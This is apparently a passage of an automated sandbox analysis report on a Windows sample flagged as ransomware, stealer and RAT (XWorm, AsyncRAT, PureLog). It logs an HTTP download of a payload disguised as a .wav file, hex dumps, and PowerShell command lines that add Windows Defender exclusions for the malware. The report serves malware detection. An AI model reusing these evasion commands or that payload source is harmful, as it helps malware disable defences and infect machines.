                                                          Data Ascii: H3tJlHbC 5Y7.r_nltau;ARD]_eKwr1pRQ>u=7orSpn2WtDC(~D:, TIe__oeC/!%nM{y4Z=j<,'*m


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          2192.168.2.4497415.34.182.232806776C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          TimestampBytes transferredDirectionData
                                                          Apr 21, 2024 15:22:45.559217930 CEST80OUTGET /sm/Pxgimjrvqqb.wav HTTP/1.1
                                                          Host: 5.34.182.232
                                                          Connection: Keep-Alive
                                                          Apr 21, 2024 15:22:45.796375036 CEST1289INHTTP/1.1 200 OK
                                                          Date: Sun, 21 Apr 2024 13:22:45 GMT
                                                          Server: Apache/2.4.6 (CentOS)
                                                          Last-Modified: Thu, 18 Apr 2024 21:59:41 GMT
                                                          ETag: "21ee08-61666168bcd40"
                                                          Accept-Ranges: bytes
                                                          Content-Length: 2223624
                                                          Keep-Alive: timeout=5, max=100
                                                          Connection: Keep-Alive
                                                          Content-Type: audio/x-wav
                                                          Data Raw: 9e de 59 3f 24 21 1c 14 90 c6 13 f8 4f c7 af 6f e2 96 fc d4 25 b9 29 22 9f a0 db d8 a6 78 6e 8a fc 90 29 02 ba 59 ab 6a f3 c0 8c 1e 55 0e 2d 4b 1f 18 36 b6 1b 0b da 30 7c 7a 24 dc 8a f7 5b 19 5c b2 a4 7a a2 9a 63 4b 30 8a 36 e0 71 17 05 65 6e 95 48 1e be 97 82 80 76 1f 52 11 fb 74 70 5d 38 05 c2 fb ce 98 60 b7 9c d9 46 49 20 68 c4 0f 8f 9c b7 c1 4e 2b a9 ac cb 23 01 f8 ea 23 ef b1 31 dc fd 7d c4 24 10 44 20 d4 0f 37 21 d9 35 4e ce 58 cf 1c 56 b0 9e a5 f0 fc 43 89 90 af 38 77 7e 10 a6 35 c7 bf b6 fa ff a2 0d 98 0c 48 0e 1e 6d 52 d1 e9 1c c1 56 34 af 9c a7 6e 0d 8e 31 21 d5 f3 e8 4a 16 54 9f 6a b0 55 b9 8a d9 14 f4 c3 e2 d3 e2 98 39 fd 20 a4 f9 d6 bc 9a e1 68 e8 50 1a 18 1c fb e8 48 18 95 e5 b0 1c 2c 62 06 28 9c 2f 65 ba 90 b5 5c 86 09 94 a5 e3 7a c7 69 bb e0 77 4b 91 de 7f b2 19 39 4c ac 98 6c 1e c6 9c 7a 49 4e 3d f7 4c 2f 02 af cc 8d 72 09 e7 0d dd bc 6d 45 fc b3 a3 82 b0 15 46 4a 1f 44 22 39 51 01 2e 3c 3c 7d 0f a2 68 9e 39 4d b3 e6 32 49 6f a9 c9 a6 4b e8 c6 83 b2 bd e7 c0 df 1c f9 b5 be b6 09 66 68 d3 95 67 63 3c 61 f1 f6 6f 54 32 dc cf f6 4a fb 35 45 c6 4d 45 bd b3 fe d8 d5 73 c9 6a a7 f7 00 f3 10 db e1 87 31 d5 4c 63 17 e6 cb 67 a7 07 cf cc c4 94 cf 31 b3 4e 0a 6d 4d fa 6f b7 4c f6 91 c8 ff 69 31 90 42 9c 8a 8c c3 7b 59 2d 94 d8 22 13 c4 98 ad 8e 87 8d ae df 66 1e 80 35 ad 0e 8c 39 77 d9 65 0a 44 e1 29 3b dc e4 3d c1 34 ab 36 0b c9 1a ad a0 4b ae d6 1f 6a 85 e0 4d 63 b9 99 b7 ba b9 7a 60 47 f8 89 c4 0e 85 f3 b3 b3 f1 d0 cf e5 1e f6 3d f6 12 9f 60 b1 69 97 db 2c 50 ca 59 73 96 aa 5b d6 1d ab dd ad 0f ca ca 2c 0b 58 fa a4 aa 53 6b 42 fe e4 d5 48 05 a7 c5 f1 f0 37 c3 1b a5 34 4f ee 09 d5 7b f1 0b ff 66 43 8b 7a 2d e4 eb d9 1d 7c d5 2c 0f aa bb 06 65 3c 62 bd f5 2f 5e 87 f6 0c d0 91 31 63 46 88 c0 e6 d9 d7 54 4a ee 96 66 53 0f 45 28 d3 87 2f 28 31 c1 87 c5 fb 76 a0 56 83 97 96 51 f9 de 45 d5 ff d2 3e 30 ab 65 0f 96 68 73 f4 2f df ea cb 59 0b 4d e7 5b 26 4d 51 87 1e 5f 58 c9 55 ff 45 6b fa 0b 93 94 e8 29 3e d2 ca b5 d2 1a 46 f3 f2 c3 2d bc b9 22 07 e4 7e 86 9e 1d e6 4d 95 f8 2e 6c 7b 85 aa 77 b9 91 6a 27 2f 4b ff a5 ed d4 48 fe 79 f5 2c 69 48 d2 df 41 b7 ba 47 e7 50 75 50 8c f9 fe 4a ea a9 70 d4 05 ad d6 a9 90 1e 5a a1 c0 40 15 d9 7b b1 dd 4e 59 3b 6f 17 91 be bf 9e 53 63 78 c0 44 1b c6 86 4b 9a ee 5a ed d5 b3 54 d1 58 8c 72 58 6c 66 7a a9 d4 e4 ee eb 68 e0 66 3f 18 52 ea 2c b3 af 73 05 1c ed ee 2b 2e c6 63 52 a6 2b e2 48 bd b4 25 99 e4 34 a7 46 d0 37 2b ec ef a1 ff 2f 74 15 88 18 70 af 20 e2 33 15 3a fe 4e 0b ac c8 43 58 0c ad 14 ef 18 c9 63 fa 04 83 18 7c 9d b2 8e 93 29 5e fc 26 eb 9e 43 3b 75 df cb 06 60 70 27 3a cf 41 d4 52 f6 f5 50 46 1b 16 6e b2 19 22 62 a8 32 40 04 6a bf a3 68 da bd 77 27 13 00 88 dc e3 7d 35 a6 5e 38 db 2b 14 a9 39 99 c6 60 72 ff 37 96 0d 79 07 72 d5 68 b9 a3 fc 23 0e e6 82 72 0a 60 3a 13 cf 4f c4 e7 4c 2f 16 90 84 84 e1 8a c7 b7 91 92 ae 6d de 3e 61 be 69 5c 8c 5e d9 42 a1 95 ae c0 6a 76 db aa 0b 46 d2 3e f7 ea e5 1a a8 9f 33 21 58 02 ec 23 2f 0c 1c c6 7a 1c 62 76 6a 2f 7c cc 72 63 c5 84 87 4f 48 66 32 6b 48
                                                          Data Ascii: Y?$!Oo%)"xn)YjU-K60|z$[\zcK06qenHvRtp]8`FI hN+##1}$D 7!5NXVC8w~5HmRV4n1!JTjU9 hPH,b(/e\ziwK9LlzIN=L/rmEFJD"9Q.<<}h9M2IoKfhgc<aoT2J5EMEsj1Lcg1NmMoLi1B{Y-"f59weD);=46KjMcz`G=`i,PYs[,XSkBH74O{fCz-|,e<b/^1cFTJfSE(/(1vVQE>0ehs/YM[&MQ_XUEk)>F-"~M.l{wj'/KHy,iHAGPuPJpZ@{NY;oScxDKZTXrXlfzhf?R,s+.cR+H%4F7+/tp 3:NCXc|)^&C;u`p':ARPFn"b2@jhw'}5^8+9`r7yrh#r`:OL/m>ai\^BjvF>3!X#/zbvj/|rcOHf2kH
                                                          Apr 21, 2024 15:22:45.796416998 CEST1289INData Raw: 6f c4 bf 77 76 b9 e6 ed e2 53 43 b9 08 a6 69 16 61 18 f1 a6 c0 bd bf 91 ae ec fa 21 f2 dd bb ff 03 d1 74 30 3e 2f d4 d9 04 5f 2b b1 f6 de 78 9c f0 48 88 41 b7 54 de ab 25 7c a9 da ad fd a9 d0 07 d3 3b b2 a3 c4 b5 ba 62 81 c8 ec 2d 0b cf 85 03 8a
                                                          Data Ascii: owvSCia!t0>/_+xHAT%|;b-r(w8gk8*+TIDxIn.kf8vvDw{d,^w\{-l5{JTz^V0S.cp_dT_2+%PFrH<)N[
                                                          Apr 21, 2024 15:22:45.796453953 CEST1289INData Raw: 71 14 d2 ce 96 b1 f1 1b 43 35 c9 34 a8 dc 7c 00 dc 3d 87 0d 2e 5a 5b cf 6b d4 4a cc 29 63 e8 95 94 0c 12 ab 3a fd 83 38 3b db 2f 24 ab dd 70 61 c0 64 a7 39 91 d4 87 29 54 d6 79 2b 16 46 c0 70 7e fe d4 8b c1 7c 83 09 d9 61 19 48 74 9f ab 7a 06 f9
                                                          Data Ascii: qC54|=.Z[kJ)c:8;/$pad9)Ty+Fp~|aHtz,}x5@k[3x6B\RU_).Bk;o7|RjGZ1t"}n}!!|L^'hl)4@U-GT5ns sq{v5/oIUZxi/[
                                                          Apr 21, 2024 15:22:45.796494961 CEST1289INData Raw: 43 a8 e9 c7 fe 67 64 fb 0d 9d 7d 33 21 14 07 66 2d 42 b1 86 96 1e 01 e1 72 da bb 04 12 b0 db 7c 35 d3 59 5a c6 fa b7 ac 13 5e bd da 7f db 2a 1e 51 26 bb 70 28 a8 08 97 d3 3f 62 a7 42 11 b7 14 f5 ac 7d 69 5c 6e 7f c4 66 07 d9 b8 77 53 a2 f1 f5 3f
                                                          Data Ascii: Cgd}3!f-Br|5YZ^*Q&p(?bB}i\nfwS?/A9R~^B-?sD4LP($u%#;!3sGKT9Sgk#oP1TJlgMk>fJ6D>6Ig%<zc8DVSF=(zN2KQ"fUe`FX
                                                          Apr 21, 2024 15:22:45.796536922 CEST1289INData Raw: 8e e2 21 ac 1e b8 df f7 e5 f9 d3 fa df 2e 6a 24 91 78 9a 20 e9 b7 8e c0 ac 2d ac be 97 c7 25 ba de af 59 b8 4e b7 68 4e 11 89 6c b1 c5 33 66 cf 48 f8 7e aa 18 bb bd 5f 43 53 a7 b9 8b 78 ab 52 3f 2f b2 1a a6 3d 8d 0a fe 2e 58 19 d2 c8 ac 87 f4 7f
                                                          Data Ascii: !.j$x -%YNhNl3fH~_CSxR?/=.Xq]4R?v9ConNr-}M@6Rci8)Fkz7M|rZ cZ7}EswZ_J&6_X{ND7zbeQ%u"-%_OFLMQV
                                                          Apr 21, 2024 15:22:45.796575069 CEST1289INData Raw: b6 95 45 11 76 7d b4 29 14 16 5d 4b 92 d2 e3 5e 99 5e 39 72 51 0c 35 84 1d 6a 02 50 d3 97 bd e9 4f 9e 39 5d ad 4f ad f6 c6 53 bc e6 80 09 3b 0a db 98 52 f0 8e 71 02 8e 45 48 8a 5d d9 57 f6 fd 42 b6 6f 89 e1 2c 70 53 81 fc 34 14 d7 99 1d a3 c7 20
                                                          Data Ascii: Ev})]K^^9rQ5jPO9]OS;RqEH]WBo,pS4 '$JpA:#-+E= c'-M6O:~hkcCl?$:!A0iLqZB0k%Heu;l~Y/upK-/8
                                                          Apr 21, 2024 15:22:45.796612978 CEST1289INData Raw: 39 ca ba c9 dd 85 03 81 f3 a6 37 c0 bd 6c 74 ca e5 5d 64 dc 70 2d 08 89 7e 45 5c 79 3a a1 26 ed 75 e8 29 45 ad e3 2a 18 62 9b 3f e3 25 00 84 20 ca 2c 89 b0 ec 09 7a 55 cf 6e ba 86 73 db 1a e4 be 74 b6 98 6a 80 fc 35 0e 07 99 e7 2e 7c e0 b7 e0 b2
                                                          Data Ascii: 97lt]dp-~E\y:&u)E*b?% ,zUnstj5.|NL q/_@dmD}#]N `|BJ#'"'"guQ`%e']#'OtjJl-[GD.GU}@^P
                                                          Apr 21, 2024 15:22:45.796653032 CEST1289INData Raw: 2c b4 3a 6a 3c 57 2d 7a b7 94 fd c2 2b 9c 53 03 ed cf ef 72 bf d8 49 99 e3 dd ef 59 f3 bc 04 8e 63 de 76 d3 5b 89 82 b3 fe 29 f6 c5 c6 6a 9c c9 53 23 10 e4 f1 4b 4e 13 09 c0 e5 52 62 44 d4 6e a0 9b 27 d9 b1 24 ac 29 b6 0b 3e cf 09 83 1f 32 90 21
                                                          Data Ascii: ,:j<W-z+SrIYcv[)jS#KNRbDn'$)>2!RDc"&difJZ|s}\5.y16FCh@_Fezv<Bz]i)J_m.UP/+%gIC,'r7
                                                          Apr 21, 2024 15:22:45.796717882 CEST1289INData Raw: a9 74 70 98 5a ab 38 e5 ee 01 f3 e1 db c6 24 0a 1f ee 5d 4d 62 7e 3d 17 4a a5 67 01 80 aa 3a ae f1 c7 35 9f 90 16 60 0c f1 3f c3 2e ca d5 2a 23 9e 40 bc 2d 49 a1 44 72 05 9b 4a bb 26 81 88 1e 6f 90 a0 5d 29 a1 5c c9 c1 91 84 00 6f f7 bf c7 e4 b7
                                                          Data Ascii: tpZ8$]Mb~=Jg:5`?.*#@-IDrJ&o])\oQ/Uup> |iyg|/[VxZ\[j{K(pIIkAZC7\vO0()L4fsI@*'sr[ N1?otf ypL^}Vuj
                                                          Apr 21, 2024 15:22:45.796758890 CEST1289INData Raw: 60 5f 0c bf 4d fe 03 91 11 1f 04 3b 87 30 20 94 1d 5d f8 87 c9 fb fe 68 cc 9e 66 96 7d d3 7d b6 4f cc bd c5 7d 35 25 6e 41 1a 8a 23 fa 11 ae 46 40 e5 a7 95 3c f2 2c b6 bc dd 69 e3 3b a4 bf db a8 fb eb d8 a4 0b 18 bd d7 7e 38 dc 28 bb a5 7c 26 65
                                                          Data Ascii: `_M;0 ]hf}}O}5%nA#F@<,i;~8(|&e(q!q][;?ny C#R9GBc1c-1z~n@Q8r#%ry{-kj;K)=g4krx:wih,v%sJvW%g&Nsb=*
                                                          Apr 21, 2024 15:22:46.033920050 CEST1289INData Raw: 0f 0a a4 1a 02 f0 d5 48 fd 07 1e 12 9b 89 10 33 9f af e8 74 b8 4a d7 dc ed 1d 6c 48 62 b4 f6 ed d0 43 ec d9 8d 20 f1 a6 f3 35 59 37 b9 92 2e c6 72 5f 6e ab f3 97 c1 81 6c 1e 74 c8 bc f2 61 bd 75 3b f4 41 85 a1 52 44 9d 5d 08 cf 5f 65 0f c0 9f 4b
                                                          Data Ascii: H3tJlHbC 5Y7.r_nltau;ARD]_eKwr1pRQ>u=7orSpn2WtDC(~D:, TIe__oeC/!%nM{y4Z=j<,'*m


                                                          Statistics

                                                          CPU Usage

                                                          Click to jump to process

                                                          Memory Usage

                                                          Click to jump to process

                                                          High Level Behavior Distribution

                                                          Click to dive into process behavior distribution

                                                          Behavior

                                                          Click to jump to process

                                                          System Behavior

                                                          General

                                                          Target ID:0
                                                          Start time:15:21:50
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"
                                                          Imagebase:0xd60000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Yara matches:
                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1999338129.0000000005F80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1992545692.0000000004BD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2002984588.00000000065C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1992545692.00000000044D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          Reputation:low
                                                          Has exited:true

                                                          General

                                                          Target ID:4
                                                          Start time:15:22:27
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"
                                                          Imagebase:0xa80000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:low
                                                          Has exited:false

                                                          General

                                                          Target ID:5
                                                          Start time:15:22:30
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
                                                          Imagebase:0x950000
                                                          File size:433'152 bytes
                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:6
                                                          Start time:15:22:30
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff7699e0000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:8
                                                          Start time:15:22:34
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
                                                          Imagebase:0x950000
                                                          File size:433'152 bytes
                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:9
                                                          Start time:15:22:34
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff7699e0000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:10
                                                          Start time:15:22:35
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                                                          Imagebase:0xc00000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Yara matches:
                                                          • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.2466687008.0000000003027000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          Antivirus matches:
                                                          • Detection: 100%, Avira
                                                          • Detection: 100%, Joe Sandbox ML
                                                          • Detection: 55%, ReversingLabs
                                                          • Detection: 69%, Virustotal, Browse
                                                          Reputation:low
                                                          Has exited:true

                                                          General

                                                          Target ID:11
                                                          Start time:15:22:40
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'
                                                          Imagebase:0x950000
                                                          File size:433'152 bytes
                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:12
                                                          Start time:15:22:40
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff7699e0000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:13
                                                          Start time:15:22:44
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                                                          Imagebase:0xfc0000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Yara matches:
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2596900103.0000000007231000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2572125164.0000000005257000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2554540962.000000000362B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                          • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                          Reputation:low
                                                          Has exited:true

                                                          General

                                                          Target ID:14
                                                          Start time:15:22:47
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                                                          Imagebase:0x950000
                                                          File size:433'152 bytes
                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:15
                                                          Start time:15:22:47
                                                          Start date:21/04/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff7699e0000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:16
                                                          Start time:15:23:14
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                                                          Imagebase:0xa20000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Yara matches:
                                                          • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                          • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                          Reputation:low
                                                          Has exited:true

                                                          General

                                                          Target ID:18
                                                          Start time:15:23:23
                                                          Start date:21/04/2024
                                                          Path:C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                                                          Imagebase:0x270000
                                                          File size:89'760 bytes
                                                          MD5 hash:4E640BD1E98BEC927682AC50F0D86E2A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:low
                                                          Has exited:true

                                                          Disassembly

                                                          Reset < >

                                                            Execution Graph

                                                            Execution Coverage:8.6%
                                                            Dynamic/Decrypted Code Coverage:100%
                                                            Signature Coverage:2.4%
                                                            Total number of Nodes:327
                                                            Total number of Limit Nodes:33
                                                            execution_graph 25566 309bd60 25567 309bd75 25566->25567 25570 309bd8b 25567->25570 25571 309be0f 25567->25571 25576 309c06e 25567->25576 25572 309bdfd 25571->25572 25573 309be17 25571->25573 25572->25570 25573->25572 25581 309d7d9 25573->25581 25585 309d7e8 25573->25585 25577 309c074 25576->25577 25579 309d7d9 10 API calls 25577->25579 25580 309d7e8 10 API calls 25577->25580 25578 309bdfd 25578->25570 25579->25578 25580->25578 25582 309d7e8 25581->25582 25589 309daec 25582->25589 25586 309d7fd 25585->25586 25588 309daec 10 API calls 25586->25588 25587 309d81f 25587->25572 25588->25587 25590 309dc64 25589->25590 25594 309e4b0 25590->25594 25632 309e4c0 25590->25632 25591 309dc98 25595 309e4ba 25594->25595 25670 309e500 25595->25670 25675 309f501 25595->25675 25683 309eecd 25595->25683 25688 309ec09 25595->25688 25696 309edb7 25595->25696 25701 309eff0 25595->25701 25709 309ef3e 25595->25709 25717 309e8ba 25595->25717 25725 309e93a 25595->25725 25730 309f4a6 25595->25730 25735 309e9a6 25595->25735 25740 309f0a7 25595->25740 25745 309f0e5 25595->25745 25750 309f3e2 25595->25750 25754 309eb62 25595->25754 25762 309e7a3 25595->25762 25767 309e82e 25595->25767 25772 309e76e 25595->25772 25777 309e72c 25595->25777 25782 309e9ed 25595->25782 25787 309eaad 25595->25787 25792 309f06a 25595->25792 25797 309e6ea 25595->25797 25802 309e9ab 25595->25802 25807 309f468 25595->25807 25811 309f429 25595->25811 25816 309e7a9 25595->25816 25823 309f257 25595->25823 25828 309f352 25595->25828 25833 309e510 25595->25833 25838 309f21f 25595->25838 25843 309f29c 25595->25843 25848 309e8d8 25595->25848 25853 309ee06 25595->25853 25861 309f180 25595->25861 25596 309e4f7 25596->25591 25633 309e4cf 25632->25633 25635 309ec09 4 API calls 25633->25635 25636 309eecd 2 API calls 25633->25636 25637 309f501 4 API calls 25633->25637 25638 309e500 2 API calls 25633->25638 25639 309f180 4 API calls 25633->25639 25640 309ee06 4 API calls 25633->25640 25641 309e8d8 2 API calls 25633->25641 25642 309f29c 2 API calls 25633->25642 25643 309f21f 2 API calls 25633->25643 25644 309e510 2 API calls 25633->25644 25645 309f352 2 API calls 25633->25645 25646 309f257 2 API calls 25633->25646 25647 309e7a9 4 API calls 25633->25647 25648 309f429 2 API calls 25633->25648 25649 309f468 2 API calls 25633->25649 25650 309e9ab 2 API calls 25633->25650 25651 309e6ea 2 API calls 25633->25651 25652 309f06a 2 API calls 25633->25652 25653 309eaad 2 API calls 25633->25653 25654 309e9ed 2 API calls 25633->25654 25655 309e72c 2 API calls 25633->25655 25656 309e76e 2 API calls 25633->25656 25657 309e82e 2 API calls 25633->25657 25658 309e7a3 2 API calls 25633->25658 25659 309eb62 4 API calls 25633->25659 25660 309f3e2 2 API calls 25633->25660 25661 309f0e5 2 API calls 25633->25661 25662 309f0a7 2 API calls 25633->25662 25663 309e9a6 2 API calls 25633->25663 25664 309f4a6 2 API calls 25633->25664 25665 309e93a 2 API calls 25633->25665 25666 309e8ba 4 API calls 25633->25666 25667 309ef3e 4 API calls 25633->25667 25668 309eff0 4 API calls 25633->25668 25669 309edb7 2 API calls 25633->25669 25634 309e4f7 25634->25591 25635->25634 25636->25634 25637->25634 25638->25634 25639->25634 25640->25634 25641->25634 25642->25634 25643->25634 25644->25634 25645->25634 25646->25634 25647->25634 25648->25634 25649->25634 25650->25634 25651->25634 